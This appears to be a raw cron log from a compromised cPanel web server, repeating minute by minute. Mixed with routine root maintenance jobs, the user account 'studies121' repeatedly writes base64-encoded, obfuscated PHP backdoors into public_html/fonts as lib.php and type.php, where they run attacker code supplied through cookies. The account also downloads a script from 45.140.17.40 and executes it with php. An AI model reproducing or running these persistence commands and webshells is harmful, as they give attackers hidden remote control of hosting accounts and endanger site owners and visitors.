Sep 11 16:13:01 ip-184-168-122-23 CROND[31742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:13:01 ip-184-168-122-23 CROND[31743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:13:01 ip-184-168-122-23 CROND[31744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:13:01 ip-184-168-122-23 CROND[31747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:14:01 ip-184-168-122-23 CROND[31841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:14:01 ip-184-168-122-23 CROND[31843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:14:01 ip-184-168-122-23 CROND[31844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:14:01 ip-184-168-122-23 CROND[31845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:14:01 ip-184-168-122-23 CROND[31846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:15:01 ip-184-168-122-23 CROND[31956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:15:01 ip-184-168-122-23 CROND[31957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:15:01 ip-184-168-122-23 CROND[31966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:15:01 ip-184-168-122-23 CROND[31962]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 16:15:01 ip-184-168-122-23 CROND[31964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:15:01 ip-184-168-122-23 CROND[31965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:15:01 ip-184-168-122-23 CROND[31963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:16:01 ip-184-168-122-23 CROND[32151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:16:01 ip-184-168-122-23 CROND[32154]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:16:01 ip-184-168-122-23 CROND[32153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:16:01 ip-184-168-122-23 CROND[32155]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:16:01 ip-184-168-122-23 CROND[32157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:16:01 ip-184-168-122-23 CROND[32156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:17:02 ip-184-168-122-23 CROND[32251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:17:02 ip-184-168-122-23 CROND[32253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:17:02 ip-184-168-122-23 CROND[32252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:17:02 ip-184-168-122-23 CROND[32255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:18:01 ip-184-168-122-23 CROND[32371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:18:01 ip-184-168-122-23 CROND[32372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:18:01 ip-184-168-122-23 CROND[32374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:18:01 ip-184-168-122-23 CROND[32376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:18:02 ip-184-168-122-23 CROND[32377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:19:01 ip-184-168-122-23 CROND[32461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:19:01 ip-184-168-122-23 CROND[32463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:19:01 ip-184-168-122-23 CROND[32464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:19:01 ip-184-168-122-23 CROND[32466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:20:01 ip-184-168-122-23 CROND[32570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:20:01 ip-184-168-122-23 CROND[32571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:20:02 ip-184-168-122-23 CROND[32575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:20:02 ip-184-168-122-23 CROND[32578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:20:02 ip-184-168-122-23 CROND[32576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:20:02 ip-184-168-122-23 CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:20:02 ip-184-168-122-23 CROND[32582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:20:02 ip-184-168-122-23 CROND[32579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:20:02 ip-184-168-122-23 CROND[32581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:21:01 ip-184-168-122-23 CROND[32765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:21:01 ip-184-168-122-23 CROND[32766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:21:01 ip-184-168-122-23 CROND[300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:21:01 ip-184-168-122-23 CROND[32767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:22:01 ip-184-168-122-23 CROND[394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:22:01 ip-184-168-122-23 CROND[397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:22:01 ip-184-168-122-23 CROND[395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:22:01 ip-184-168-122-23 CROND[396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:22:01 ip-184-168-122-23 CROND[398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:23:01 ip-184-168-122-23 CROND[536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:23:01 ip-184-168-122-23 CROND[539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:23:01 ip-184-168-122-23 CROND[538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:23:01 ip-184-168-122-23 CROND[540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:24:01 ip-184-168-122-23 CROND[677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:24:01 ip-184-168-122-23 CROND[679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:24:01 ip-184-168-122-23 CROND[681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:24:01 ip-184-168-122-23 CROND[680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:24:01 ip-184-168-122-23 CROND[682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
